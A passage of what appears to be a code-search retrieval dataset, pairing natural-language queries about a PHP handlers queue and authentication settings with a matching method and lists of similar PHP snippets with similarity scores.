\"development\":\n\t\t\t\t$this->createDevelopmentHandler();\n\t\t\t\tbreak;\n\t\t\tcase \"production\":\n\t\t\t\t$this->createProductionHandler();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->createProductionHandler();\n\t\t}\n\t\n\t\t$this->init = true;\n\t\t$this->logBufferedMsgs();\n\t}", "public function getFormats(?string $type = null):array\n {\n return json_decode(\n copy_to_string($this->request('GET', '/unoconv/formats'.($type ? '/'.urlencode($type) : ''))->getBody()),\n true\n );\n }", "function collect() {\n $dispatcher = $this->di['dispatcher'];\n\t\t$router = $this->di['router'];\n\t\t$route = $router->getMatchedRoute();\n\t\tif ( !$route) {\n\t\t\treturn array();\n\t\t}\n\n\t\t$uri = $route->getPattern();\n\t\t$paths = $route->getPaths();\n\t\t$result['uri'] = $uri ?: '-';\n\t\t$result['paths'] = $this->formatVar( $paths);\n\t\tif ( $params = $router->getParams()) {\n\t\t\t$result['params'] = $this->formatVar($params);\n\t\t}\n\t\t$result['HttpMethods'] = $route->getHttpMethods();\n\t\t$result['RouteName'] = $route->getName();\n\t\t$result['hostname'] = $route->getHostname();\n\t\tif ( $this->di->has('app') && ($app=$this->di['app']) instanceof Micro ) {\n\t\t\tif ( ($handler=$app->getActiveHandler()) instanceof \\Closure || is_string($handler) ) {\n\t\t\t\t$reflector = new \\ReflectionFunction($handler);\n\t\t\t}elseif(is_array($handler)){\n\t\t\t\t$reflector = new \\ReflectionMethod($handler[0], $handler[1]);\n\t\t\t}\n\t\t}else{\n\t\t\t$result['Moudle']=$router->getModuleName();\n\t\t\t$result['Controller'] = $dispatcher->getActiveController() != null ? get_class( $controller_instance = $dispatcher->getActiveController()) : $controller_instance =\"\";\n\t\t\t$result['Action'] = $dispatcher->getActiveMethod();\n\t\t\t$reflector = new \\ReflectionMethod($controller_instance, $result['Action']);\n\t\t}\n\n\t\tif (isset($reflector)) {\n\t\t\t$start = $reflector->getStartLine()-1;\n\t\t\t$stop = $reflector->getEndLine();\n\t\t\t$filename = substr($reflector->getFileName(),mb_strlen(realpath(dirname($_SERVER['DOCUMENT_ROOT']))));\n\t\t\t$code = array_slice( file($reflector->getFileName()),$start, $stop-$start );\n\t\t\t$result['file'] = $filename . ':' . $reflector->getStartLine() . '-' . $reflector->getEndLine() . \" [CODE]: \\n\". implode(\"\",$code);\n\t\t}\n\n\t\treturn array_filter($result);\n\t}", "public function handler()\r\n\t{\r\n\t\treturn $this->handler;\r\n\t}", "public function getHandlerManager()\n {\n return $this->handlerManager;\n }", "public function setHandlers($h = null) {\n if($h == null) {\n if (file_exists($_SERVER['DOCUMENT_ROOT'] . \"/../app/core/handlers.php\")) {\n require $_SERVER['DOCUMENT_ROOT'] . \"/../app/core/handlers.php\";\n $this->handlers = $handlers;\n return;\n }\n }\n if(is_array($h)) {\n $this->handlers = $h;\n return;\n }\n if(is_string($h)) {\n if (file_exists($h)) {\n require $h;\n $this->handlers = $handlers;\n }\n }\n }", "public function resolve($handler)\n\t{\n\t\tif(is_array($handler) && is_string($handler[0]))\n\t\t{\n\t\t\t$handler[0] = new $handler[0];\n\t\t\t$handler[0]->init($this->log, $this->config, $this->hubic);\n\t\t}\n\t\t\n\t\treturn $handler;\n\t}", "public function getTypes(): array;", "public function getTypes(): array;", "public static function allHandles()\n {\n // set the url\n $item = new Item('json', 'json');\n if ($item) ;\n\n $url = self::$apiUrl . self::SERVICE_HANDLES;\n $counter = 0;\n\n // get a raw response\n $options = array('offset' => $counter);\n\n self::$rawData = self::apiCall($url, '', array('headers' => array('Accept: ' . self::ACCEPT_JSON), 'options' => $options));\n self::$data = json_decode(self::$rawData);\n\n return self::$data;\n }", "public function getAcceptableResponseMediaTypes(string $type): array;", "public static function getHandlerClass($command){\n return \\Illuminate\\Bus\\Dispatcher::getHandlerClass($command);\n }", "protected function getRelationHandlerClass()\n\t{\n\t\t$t = $this->getType();\n\t\t\n\t\tswitch($t)\n\t\t{\n\t\t\tcase Db_Descriptor::HAS_MANY:\n\t\t\t\treturn 'Db_Descriptor_Relation_HasMany';\n\t\t\t\t\n\t\t\tcase Db_Descriptor::HAS_ONE:\n\t\t\t\treturn 'Db_Descriptor_Relation_HasOne';\n\t\t\t\t\n\t\t\tcase Db_Descriptor::BELONGS_TO:\n\t\t\t\treturn 'Db_Descriptor_Relation_BelongsTo';\n\t\t\t\n\t\t\tcase Db_Descriptor::MANY_TO_MANY:\n\t\t\t\treturn 'Db_Descriptor_Relation_ManyToMany';\n\t\t\t\t\n\t\t\tdefault:\n\t\t\t\tthrow new UnexpectedValueException($t);\n\t\t}\n\t}", "protected function getRequestHandler() : string\n {\n return Request::class;\n }", "public function get_types()\n\t{\n\t\treturn array();\n\t}", "public static function handlerForScheme($scheme, $handlerType = 'VFS', $returnName = false, $args = null)\n\t{\n\t\t/* If the scheme is a string, it's the name of a URI scheme which must be\n\t\t * looked up.\n\t\t */\n\t\tif(is_string($scheme))\n\t\t{\n\t\t\tself::registerSchemes();\n\t\t\tif(!isset(self::$schemes[$scheme]))\n\t\t\t{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t$info = self::$schemes[$scheme];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Otherwise, it's assumed to be an array containing scheme handler\n\t\t\t * information.\n\t\t\t */\n\t\t\t$info = $scheme;\n\t\t}\n\t\t/* If the member is just a string, it's a single class name */\n\t\tif(is_string($info))\n\t\t{\t\t\n\t\t\t$className = $info;\t\n\t\t}\n\t\telse if(strlen($handlerType) && isset($info[$handlerType]))\n\t\t{\n\t\t\t/* Otherwise, it's an array of the form ('VFS' => ..., 'Database' => ...,\n\t\t\t * 'SearchEngine' => ...)\n\t\t\t */\n\t\t\t$info = $info[$handlerType];\n\t\t\t/* For each handler-type-specific entry, the value can be an array with\n\t\t\t * 'file' and 'class' members, or a string just specifying the name of\n\t\t\t * a class.\n\t\t\t */\n\t\t\tif(is_array($info) && isset($info['file']))\n\t\t\t{\n\t\t\t\trequire_once($info['file']);\n\t\t\t}\n\t\t\tif(is_array($info))\n\t\t\t{\n\t\t\t\t$className = $info['class'];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$className = $info;\n\t\t\t}\n\t\t}\n\t\t/* If the handler-type is specified, the class must conform to its matching\n\t\t * interface.\n\t\t */\n\t\tif(strlen($handlerType))\n\t\t{\n\t\t\tif(PHP_VERSION_ID >= 50309)\n\t\t\t{\n\t\t\t\tif(!is_subclass_of($className, 'I' . $handlerType, false))\n\t\t\t\t{\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(!is_subclass_of($className, 'I' . $handlerType))\n\t\t\t\t{\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tif($returnName)\n\t\t{\n\t\t\treturn $className;\n\t\t}\n\t\treturn new $className($args);\n\t}", "private function getRoutesByType($type)\n {\n $routes = array();\n \n foreach ($this->_routes as $name => $route) {\n if ($route[self::TYPE_KEY] == (string) $type) {\n if (isset($route[self::URL_KEY]))\n $routes[$name] = $route;\n }\n }\n \n return $routes;\n }", "public function toArray()\n {\n $handlers = [];\n foreach ($this->getIterator() as $item) {\n $handlers[] = $item;\n }\n return $handlers;\n }", "public static function mergeHandlers(...$args): array\n\t{\n\t\tif(empty($args)) {\n\t\t\treturn [];\n\t\t}\n\t\t$combined = [];\n\t\tforeach ($args as $events) {\n\t\t\tforeach ($events as $name => $handler) {\n\t\t\t\tif (!isset($combined[$name])) {\n\t\t\t\t\t$combined[$name] = [];\n\t\t\t\t}\n\t\t\t\tif (is_string($handler) || is_callable($handler)) {\n\t\t\t\t\t$combined[$name][] = $handler;\n\t\t\t\t} elseif (is_array($handler)) {\n\t\t\t\t\t$combined[$name] += $handler;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $combined;\n\t}", "public static function getTypes(): array\n {\n return self::getRelevancyTypes();\n }", "private function getDefaultTypes(): array\n {\n if ($this->hasFieldsets()) {\n return $this->getFieldsets()->toArray();\n }\n\n return [\n $this->handle,\n ];\n }", "public function handle(array $handlers) {\n\t\tif (\\is_null($this->value)) {\n\t\t\treturn $this->defaultResult;\n\t\t}\n\n\t\tif (\\is_array($this->value)) {\n\t\t\tif (\\Uri\\isSequentialArray($this->value)) {\n\t\t\t\t$handlerKey = 'list';\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$handlerKey = 'assoc';\n\t\t\t}\n\n\t\t\t$value = $this->value;\n\t\t}\n\t\telse {\n\t\t\t$handlerKey = 'string';\n\t\t\t$value = (string)$this->value;\n\t\t}\n\n\t\t$handler = @$handlers[$handlerKey];\n\t\tif (\\is_null($handler)) {\n\t\t\treturn $this->defaultResult;\n\t\t}\n\n\t\treturn \\call_user_func($handler, $value);\n\t}" ]
[ "0.6279439", "0.61567026", "0.6139796", "0.59524524", "0.5945656", "0.5936977", "0.59269285", "0.58899313", "0.5876111", "0.5817937", "0.5660135", "0.5629119", "0.54595536", "0.5453537", "0.5377144", "0.527308", "0.52565545", "0.52547616", "0.5229512", "0.5192247", "0.51893884", "0.5180392", "0.515632", "0.5148224", "0.5148224", "0.5122648", "0.51013535", "0.50779516", "0.49903974", "0.49846187", "0.49734572", "0.49734488", "0.49340516", "0.49240762", "0.49114484", "0.49056455", "0.4886319", "0.4868671", "0.48668128", "0.48631406", "0.48550335", "0.48390672", "0.47910133", "0.47735074", "0.47483194", "0.4742219", "0.47388136", "0.47388136", "0.47372454", "0.47351632", "0.47279683", "0.47276017", "0.4701686", "0.47011122", "0.46890268", "0.46890268", "0.4665887", "0.46566543", "0.46550247", "0.46349555", "0.4632701", "0.46243852", "0.4623516", "0.4603009", "0.4603", "0.46020475", "0.45918766", "0.45918766", "0.45918766", "0.45918766", "0.45908606", "0.4567632", "0.4559267", "0.45474714", "0.45425123", "0.45419344", "0.45356342", "0.45173872", "0.45138258", "0.45108518", "0.45096564", "0.4506038", "0.45035988", "0.4502024", "0.44984037", "0.44973427", "0.44973427", "0.44928414", "0.44915223", "0.44914088", "0.44776416", "0.4473067", "0.44601607", "0.44429034", "0.4437592", "0.44307202", "0.44174716", "0.44121343", "0.44117066", "0.44064367" ]
0.76155186
0
Returns the currently loaded handlers queue.
public static function getHandlersQueue($init=true) { if ($init) {MHTTPD::$handlersQueue->init();} return MHTTPD::$handlersQueue; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getHandlers()\n {\n return $this->handlers;\n }", "public function fetchQueue() {\n\t\tif (TRUE === self::$instance instanceof QueueInterface) {\n\t\t\treturn self::$instance;\n\t\t}\n\t\treturn $this->initializeQueue();\n\t}", "public function getQueue();", "public function getQueue();", "public function get_queue()\n\t\t{\n\t\t\treturn $this->queue;\n\t\t}", "public function getQueue()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('queue');\n }", "public function getAppQueue()\n {\n return $this->get(self::_APP_QUEUE);\n }", "public function getAppQueue()\n {\n return $this->get(self::_APP_QUEUE);\n }", "public function getQueue()\n {\n return $this->doRequest('GET', \"queue\", []);\n }", "public function getHandlers() : array {\r\n return $this->handlers;\r\n }", "public function getQueue() {\n return $this->_queue;\n }", "public function getQueue()\n\t{\n\t\treturn $this->queue;\n\t}", "public function getQueue()\n {\n return $this->queue;\n }", "public function getGuildAppQueue()\n {\n return $this->get(self::_GUILD_APP_QUEUE);\n }", "public function getQueue() {\n\t\treturn null;\n\t}", "public function getQueue()\n {\n return array();\n }", "public function getQueue()\n {\n return isset($this->Queue) ? $this->Queue : null;\n }", "public function getHandlerStack()\n {\n\n $handlerStack = HandlerStack::create();\n\n foreach ($this->middleware as $name => $middleware) {\n $handlerStack->push($middleware, $name);\n }\n\n return $handlerStack;\n }", "public function getHandlerStack(): HandlerStack\n {\n if ($this->handlerStack) {\n return $this->handlerStack;\n }\n\n $this->handlerStack = HandlerStack::create($this->getGuzzleHandler());\n\n foreach ($this->middlewares as $name => $middleware) {\n $this->handlerStack->push($middleware, $name);\n }\n\n return $this->handlerStack;\n }", "static function get_queued_scripts() {\n\t\tglobal $wp_scripts;\n\n\t\t$loading_scripts = array();\n\t\tforeach ( $wp_scripts->queue as $key => $handle ) {\n\t\t\t$loading_scripts[ $handle ] = $wp_scripts->registered[ $handle ]->src;\n\t\t}\n\t\treturn $loading_scripts;\n\t}", "protected function getHandlers()\n {\n return (fn () => $this->signalHandlers)\n ->call($this->registry);\n }", "public function getHandler(){\n return($this->handle); \n }", "public static function getLastRegisteredHandler() {\n return self::$lastRegisteredHandler;\n }", "public function getHandler()\n\t{\n\t\treturn $this->handler;\n\t}", "public function getHandler()\n {\n return $this->handler;\n }", "public function getHandler()\n {\n return $this->handler;\n }", "protected function get_handler() {\n\n\t\treturn $this->handler;\n\t}", "public function getHandlerManager()\n {\n return $this->handlerManager;\n }", "function getHandlers()\n {\n eval(PUBSUB_MUTATE);\n return $this->_handlers;\n }", "public function &_getStorage()\n\t{\n\t\t$hash = md5(serialize($this->_options));\n\n\t\tif (isset(self::$_handler[$hash]))\n\t\t{\n\t\t\treturn self::$_handler[$hash];\n\t\t}\n\n\t\tself::$_handler[$hash] = TCacheStorage::getInstance($this->_options['storage'], $this->_options);\n\n\t\treturn self::$_handler[$hash];\n\t}", "public function queued()\n {\n return $this->memory->get('orchestra.publisher.queue', []);\n }", "protected function resolveQueue()\n {\n return call_user_func($this->queueResolver);\n }", "public function getMessageQueue()\n\t{\n\t\treturn $this->messages;\n\t}", "function &_getHandler()\n\t{\n\t\treturn 0;\n\t}", "public function getQueue(): Queue;", "public function handler()\r\n\t{\r\n\t\treturn $this->handler;\r\n\t}", "public function getCollectionHandler()\n {\n return $this->_getWorker(self::WORKER_TYPE_COLLECTION_HANDLER);\n }", "public function getHandler();", "public function getHandler();", "function getHandler() {\n\t\tif ($this->f) {\n\t\t\treturn $this->f;\n\t\t}\n\t\treturn null;\n\t}", "public static function handler()\n {\n return static::$handler;\n }", "public function getQueue()\n {\n return new Queue($this);\n }", "public function getMessageHandler()\n {\n return $this->messageHandler;\n }", "public function get_handler_instance() {\n\n\t\treturn $this->handler;\n\t}", "public function getHandler()\n {\n if (!$this->_handler) {\n $this->setHandler(new Rx_Json_Handler_Default());\n }\n return ($this->_handler);\n }", "public function getEventHandlers()\n {\n return $this->eventHandlers;\n }", "public function getHandler() {}", "public function getHandlers(): array\n\t{\n\t\treturn $this->classes;\n\t}", "function _getStorage()\n {\n if ($this->_handler instanceof CacheStorage) {\n return $this->_handler;\n }\n\n $this->_handler = CacheStorage::getInstance($this->_options['storage'], $this->_options);\n if ($this->_handler != null) {\n if ($this->_handler->test()) {\n return $this->_handler;\n } else {\n $this->_handler = CacheStorage::getInstance('file', $this->_options);\n return $this->_handler;\n }\n } else {\n return null;\n }\n }", "public function getQueues() {\n return $this->queues;\n }", "public function getHandler() {\n\t\t/** @var \\Cundd\\Rest\\HandlerInterface $handler */\n\t\tlist($vendor, $extension,) = Utility::getClassNamePartsForPath($this->dispatcher->getPath());\n\n\t\t// Check if an extension provides a Handler\n\t\t$handlerClass = 'Tx_' . $extension . '_Rest_Handler';\n\t\tif (!class_exists($handlerClass)) {\n\t\t\t$handlerClass = ($vendor ? $vendor . '\\\\' : '') . $extension . '\\\\Rest\\\\Handler';\n\t\t}\n\n\t\t// Get the specific builtin handler\n\t\tif (!class_exists($handlerClass)) {\n\t\t\t$handlerClass = 'Cundd\\\\Rest\\\\Handler\\\\' . $extension . 'Handler';\n\t\t\t// Get the default handler\n\t\t\tif (!class_exists($handlerClass)) {\n\t\t\t\t$handlerClass = 'Cundd\\\\Rest\\\\HandlerInterface';\n\t\t\t}\n\t\t}\n\t\t$handler = $this->get($handlerClass);\n\t\t//$handler->setRequest($this->dispatcher->getRequest());\n\t\treturn $handler;\n\t}", "public function getHandlers(): array\n {\n }", "public function getHandler()\n {\n }", "public function getQueues()\n {\n return $this->_queues = $this->_pheanstalk->listTubes();\n }", "public function queueIt()\n {\n return $this->queueIt;\n }", "public function getErrorQueue() {\n\t\t\treturn apply_filters( 'muut_get_error_queue', $this->errorQueue );\n\t\t}", "function es_detect_enqueued_scripts()\n{\n global $wp_scripts;\n foreach ($wp_scripts->queue as $handle):\n echo $handle . ' | ';\n endforeach;\n}", "public function getQueue(): array\n {\n return [$this->out, $this->in];\n }", "public function getHandler(): ?callable{\n if($this->hasHandler())\n return $this->_handler;\n else\n return null;\n }", "static function get_queued_styles() {\n\t\tglobal $wp_styles;\n\n\t\t$loading_styles = array();\n\t\tforeach ( $wp_styles->queue as $key => $handle ) {\n\t\t\t$loading_styles[ $handle ] = $wp_styles->registered[ $handle ]->src;\n\t\t}\n\t\treturn $loading_styles;\n\t}", "private function getQueue($name)\n {\n\n if (!$this->hasQueue($name)) {\n $this->queues[$name] = new EventQueue();\n }\n\n return $this->queues[$name];\n }", "function getQueue($id);", "public function queues()\n\t{\n\t\treturn Resque::queues();\n\t}", "public function getRetainDisabledHandlers()\n\t{\n\t\treturn $this->_retainDisabledHandlers;\n\t}", "public function getHandler(): string\n {\n return $this->handler;\n }", "public function getQueueCollection()\n {\n if ($this->_queueCollection === null) {\n /** @var $this->_queueCollection \\Magento\\Newsletter\\Model\\ResourceModel\\Queue\\Collection */\n $this->_queueCollection = $this\n ->_collectionFactory\n ->create()\n ->addTemplateInfo()\n ->addOnlyUnsentFilter()\n ->load();\n }\n\n return $this->_queueCollection;\n }", "public function getTypeHandler()\n {\n return $this->handlers[$this->getType()];\n }", "public function queue(): string\n {\n return $this->queue;\n }", "public function resolveRequestHandler() {\n\t\t$availableRequestHandlerClassNames = $this->reflectionService->getAllImplementationClassNamesForInterface('F3\\FLOW3\\MVC\\RequestHandlerInterface');\n\n\t\t$suitableRequestHandlers = array();\n\t\tforeach ($availableRequestHandlerClassNames as $requestHandlerClassName) {\n\t\t\tif (!$this->objectManager->isObjectRegistered($requestHandlerClassName)) continue;\n\n\t\t\t$requestHandler = $this->objectManager->getObject($requestHandlerClassName);\n\t\t\tif ($requestHandler->canHandleRequest()) {\n\t\t\t\t$priority = $requestHandler->getPriority();\n\t\t\t\tif (isset($suitableRequestHandlers[$priority])) throw new \\F3\\FLOW3\\MVC\\Exception('More than one request handler with the same priority can handle the request, but only one handler may be active at a time!', 1176475350);\n\t\t\t\t$suitableRequestHandlers[$priority] = $requestHandler;\n\t\t\t}\n\t\t}\n\t\tif (count($suitableRequestHandlers) === 0) throw new \\F3\\FLOW3\\MVC\\Exception('No suitable request handler found.', 1205414233);\n\t\tksort($suitableRequestHandlers);\n\t\treturn array_pop($suitableRequestHandlers);\n\t}", "public function getAllHandlers(): array {\n $base_path = $this->pathToHandlers;\n $directory_listing = scandir($base_path);\n self::$handlers = [];\n foreach ($directory_listing as $basename) {\n $filepath = \"$base_path/$basename\";\n if ($basename !== '.' && $basename !== '..' && is_dir($filepath)) {\n $id = pathinfo($filepath, PATHINFO_FILENAME);\n $filename = Strings::upperCamel($id);\n self::$handlers[] = [\n 'id' => $id,\n 'path' => $filepath,\n 'autoload' => $filepath . \"/$filename.php\",\n 'classname' => '\\\\AKlump\\\\CheckPages\\\\Handlers\\\\' . $filename,\n ];\n }\n }\n\n return self::$handlers;\n }", "private function getDebugLogger()\n {\n foreach ($this->handlers as $handler) {\n if ($handler instanceof Ecocode_Profiler_Model_Logger_DebugHandlerInterface) {\n return $handler;\n }\n }\n }", "public function popHandler()\n {\n if (! $this->handlers) {\n throw new \\LogicException('You tried to pop from an empty handler stack.');\n }\n\n return array_shift($this->handlers);\n }", "public static function getHandlerClass(): string;", "public function getIterator()\n {\n $queue = new SplPriorityQueue();\n foreach ($this->callbacks as $handler) {\n\n $queue->insert($handler['callback'], $handler['priority']);\n }\n return $queue;\n }", "public function getRequestHandler()\n {\n if (!$this->requestHandler) {\n $this->requestHandler = $this->buildRequestHandler();\n }\n return $this->requestHandler;\n }", "public function getDelayedExecutionTaskQueue()\n {\n return $this->delayedExecutionTaskQueue;\n }", "private static function getHandler()\n {\n if (self::$config_handler == null) {\n self::$config_handler = new self();\n }\n return self::$config_handler;\n }", "static public function getHandler($id = 'default', $database = '')\n\t{\n\t\treturn self::get($id, $database);\n\t}", "public function popHandler()\n {\n if (!count($this->handlers)) {\n throw new \\LogicException('You tried to pop from an empty handler stack.');\n }\n return array_shift($this->handlers);\n }", "protected function getContentHandler() {\n\t\tif ( $this->contentHandler === null ) {\n\t\t\t$this->contentHandler = ContentHandler::getForTitle( $this->getTitle() );\n\t\t}\n\n\t\treturn $this->contentHandler;\n\t}", "public function getQueueableClass();", "private static function getChannel(){\n\t\t\tif(!self::$_activeChannel){\n\t\t\t\tif(self::tryConnection(1)){\n\t\t\t\t\tlist(self::$_activeQueue, ,) = self::$_activeChannel->queue_declare(\"\",false,false,true,false);\n\t\t\t\t}\n\n\t\t\t\tself::$_callbacks = array();\n\t\t\t}\n\n\t\t\treturn self::$_activeChannel;\n\t\t}", "public function getActualHandler();", "public function getHandlerContext()\n {\n return $this->getHandlerConfig()->getHandlerContext();\n }", "public function getTypeHandlers()\n {\n return array_keys($this->handlers);\n }", "public function getEmailQueue()\n {\n return $this->query(null, ['isEmail' => 1, 'isEmailed' => 0]);\n }", "public function getDispatcher(): RequestHandlerInterface {\n return $this->dispatcher;\n }", "public function GetQueuedJobs()\n {\n $JOBS = $this->DB->GET('MUP.injector.jobs', ['status' => 'QUEUED', 'pmta' => $this->HOSTID, 'active' => '1', 'ORDER' => ['date' => 'ASC']], ['id', 'target', 'pool'], 100000);\n if (empty($JOBS)) {\n $this->ALERTS[] = FAIL.\" ~ <<< No Jobs to Inject...\";\n }else{\n if (isset($JOBS['id']))\n $JOBS = [$JOBS['id']=> $JOBS];\n foreach ($JOBS as $ID => $JOB) \n if (!isset($this->QueuedJobs[$JOB['pool']][$JOB['target']])) \n $this->QueuedJobs[$JOB['pool']][$JOB['target']] = ltrim($ID, '0');\n $this->Debug('QUEUED JOBS', $this->QueuedJobs);\n }\n }", "protected function getQueueTable()\n {\n return $this->getTable('queue');\n }", "public function getApiHandler()\n {\n return $this->apiServer->getApiHandler('sling');\n }", "public function getHandlerData()\n {\n $uri = $this->request->getUri();\n $method = $this->request->getMethod();\n $searches = array_keys($this->patterns);\n $replaces = array_values($this->patterns);\n\n $this->routes = str_replace('//', '/', $this->routes);\n\n $routes = $this->routes;\n foreach ($routes as $pos => $route) {\n $curRoute = str_replace(['//', '\\\\'], '/', $route);\n if (strpos($curRoute, ':') !== false) {\n $curRoute = str_replace($searches, $replaces, $curRoute);\n }\n if (preg_match('#^' . $curRoute . '$#', $uri, $matched)) {\n\n if (isset($this->callbacks[$pos][$method])) {\n //remove $matched[0] as [1] is the first parameter.\n array_shift($matched);\n\n $this->currentRoute = $curRoute;\n $this->currentVars = $matched;\n\n return $this->getHandlerDetail($this->callbacks[$pos][$method], $matched);\n }\n }\n }\n\n return $this->getHandlerDetail($this->errorCallback, []);\n }", "public function get_handler() {\n global $CFG;\n\n $enablehandler = $this->enablehandler;\n $handlerlabel = $this->shortname;\n\n $handler = null;\n\n if (empty($enablehandler)) {\n return false;\n } else if ($enablehandler == SPECIFIC_HANDLER) {\n $thehandler = $this->itemcode;\n } else {\n $thehandler = $enablehandler;\n }\n\n if (!empty($thehandler) &&\n file_exists($CFG->dirroot.'/local/shop/datahandling/handlers/'.$thehandler.'/'.$thehandler.'.class.php')) {\n include_once($CFG->dirroot.'/local/shop/datahandling/handlers/'.$thehandler.'/'.$thehandler.'.class.php');\n $classtype = \"shop_handler_{$thehandler}\";\n $handler = new $classtype($handlerlabel);\n }\n\n return $handler;\n }", "protected function getQueueName()\n {\n return __CLASS__;\n // TODO: Implement getQueueName() method.\n }", "protected function _readObserversQueue() {\n if (Zend_Registry::isRegistered('observers_queue')) {\n $observerQueue = Zend_Registry::get('observers_queue');\n } else {\n $observerQueue = array();\n }\n\n\t\t$modelClassName = get_called_class();\n if (array_key_exists($modelClassName, $observerQueue) && !empty($observerQueue[$modelClassName])){\n foreach ($observerQueue[$modelClassName] as $observer) {\n if(Zend_Loader_Autoloader::getInstance()->suppressNotFoundWarnings(true)->autoload($observer)) {\n $this->registerObserver(new $observer());\n } else {\n if(Tools_System_Tools::debugMode()) {\n error_log('Unable to load an observer from the queue: ' . $observer);\n }\n }\n }\n }\n\n }", "function ibenic_show_scripts_handles(){\n if( is_admin() ){\n\treturn;\n }\n // Get WP_Scripts Object\n $wp_scripts = wp_scripts();\n \n // Print Queued Handles\n print_r( $wp_scripts->queue );\n\t\n die();\n}", "public function jobs()\n {\n return $this->onQueue();\n }", "public function get_handler()\n {\n }", "public function handleWorkerHandlerQueue()\n {\n if (!$this->workerHandlerReady || count($this->workerHandlerQueue) == 0) {\n return;\n }\n $requestId = array_shift($this->workerHandlerQueue);\n $request = $this->getRequest($requestId);\n\n if ($request === null) {\n return;\n }\n\n $this->getLogger()->debug('Sending request: '.$requestId.' to worker-handler.');\n\n $this->workerHandlerReady = false;\n\n $this->getStream('workerHandler')->send(\n new ClientHandlerJobRequest(\n $requestId,\n $request->getActionName(),\n $request->getParams()\n )\n );\n }", "protected function getMockConnectionHandler()\n {\n if (empty($this->connections)) {\n $this->connections = $this->getMock('Phergie_Connection_Handler');\n }\n return $this->connections;\n }", "protected function _listQueues()\n {\n return Horde_Rpc::request('jsonrpc',\n $this->_params['url'],\n 'tickets.listSlugs',\n $this->_http,\n null)->result;\n }" ]
[ "0.69382656", "0.6792673", "0.67824286", "0.67824286", "0.67304206", "0.66839796", "0.6668459", "0.6668459", "0.66399014", "0.66365814", "0.66221076", "0.66018504", "0.6586128", "0.6577119", "0.6531101", "0.6521215", "0.6496578", "0.6447995", "0.6435249", "0.6395472", "0.6350144", "0.63218176", "0.63180166", "0.629357", "0.6269947", "0.6269947", "0.62615186", "0.6260836", "0.62264997", "0.621627", "0.61739284", "0.61306244", "0.6101986", "0.60981", "0.6096621", "0.60944927", "0.609253", "0.6014804", "0.6014804", "0.5998077", "0.59544986", "0.59223914", "0.59152216", "0.5909068", "0.5899953", "0.5869124", "0.58673644", "0.5866525", "0.584135", "0.58116025", "0.5805961", "0.5786303", "0.5761374", "0.5759575", "0.57478195", "0.57419026", "0.57037973", "0.57007056", "0.56984425", "0.5677152", "0.56609255", "0.5637838", "0.56273633", "0.55789936", "0.557499", "0.55721134", "0.55543095", "0.55405515", "0.55402446", "0.5528239", "0.5524606", "0.54926723", "0.54886895", "0.54772526", "0.5446702", "0.5443476", "0.54382765", "0.5438111", "0.5433665", "0.53786874", "0.5375905", "0.53757393", "0.5359905", "0.5353956", "0.5331437", "0.5329727", "0.53259057", "0.53143203", "0.5295457", "0.5268203", "0.5265366", "0.52623785", "0.52436274", "0.52252114", "0.52246237", "0.5222192", "0.52174026", "0.51955044", "0.5191681", "0.51710397" ]
0.74156415
0
Returns the list of configured access authentication details.
public static function getAuthList() { return !empty(MHTTPD::$config['Auth']) ? MHTTPD::$config['Auth'] : false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function getAuthenticationConfig() {\n\t\t$config = $this->getServiceLocator()->get('config');\n\t\tif (isset($config['authentication'])) return $config['authentication'];\n\t\telse return [];\n\t}", "public function getAccessList() {\n return $this->_get(16);\n }", "public function getAuthInfoArray() {}", "public static function getAuthData()\n {\n return array(\n 'roles_list' => self::getUserRoles(),\n );\n }", "public static function getAuthenticationParameters(): array\n {\n return FoodDatabase::getApiCredentials();\n }", "public function retrieveAuthCredentials()\n\t{\n\t\t// Since PHP saves the HTTP Password in a bunch of places, we have to be able to test for all of them\n\t\t$username = $password = NULL;\n\t\t\n\t\t// mod_php\n\t\tif (isset($_SERVER['PHP_AUTH_USER'])) \n\t\t{\n\t\t $username = (isset($_SERVER['PHP_AUTH_USER'])) ? $_SERVER['PHP_AUTH_USER'] : NULL;\n\t\t $password = (isset($_SERVER['PHP_AUTH_PW'])) ? $_SERVER['PHP_AUTH_PW'] : NULL;\n\t\t}\n\n\t\t// most other servers\n\t\telseif ($_SERVER['HTTP_AUTHENTICATION'])\n\t\t{\n\t\t\tif (strpos(strtolower($_SERVER['HTTP_AUTHENTICATION']),'basic') === 0)\n\t\t\t{\n\t\t\t\tlist($username,$password) = explode(':',base64_decode(substr($_SERVER['HTTP_AUTHENTICATION'], 6)));\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Check them - if they're null a/o empty, they're invalid.\n\t\tif ( is_null($username) OR is_null($password) OR empty($username) OR empty($password))\n\t\t\treturn FALSE;\n\t\telse\n\t\t\treturn array('username' => $username, 'password' => $password);\n\t}", "public function getCredentials()\n {\n if ($this->login) return array( $this->login, $this->password);\n\n //Using static PureBilling as fallback\n if (class_exists('\\PureBilling') && \\PureBilling::getPrivateKey()) {\n return array('api', \\PureBilling::getPrivateKey());\n }\n }", "public static function get_access_lists() { \n\n\t\t$sql = \"SELECT `id` FROM `access_list`\";\n\t\t$db_results = Dba::read($sql);\n\t\n\t\t$results = array(); \n\t\n\t\t// Man this is the wrong way to do it...\n\t\twhile ($row = Dba::fetch_assoc($db_results)) {\n\t\t\t$results[] = $row['id'];\n\t\t} // end while access list mojo\n\n\t\treturn $results;\n\n\t}", "public function getAuthInfo() {\n return [\n 'host' => [\n 'account_num' => 9999999999,\n ],\n ];\n }", "public function getAccessConfig()\n {\n return $this->access_config;\n }", "function getAllAuth(){\n return ['none','clickLicense','registration','duaIndividual','duaInstitution'];\n}", "protected function getCredentials(): array\n {\n return [\n 'auth_corpid' => $this->authCorpid,\n 'permanent_code' => $this->permanentCode,\n ];\n }", "public function allCredentialDescriptors(): array;", "public function 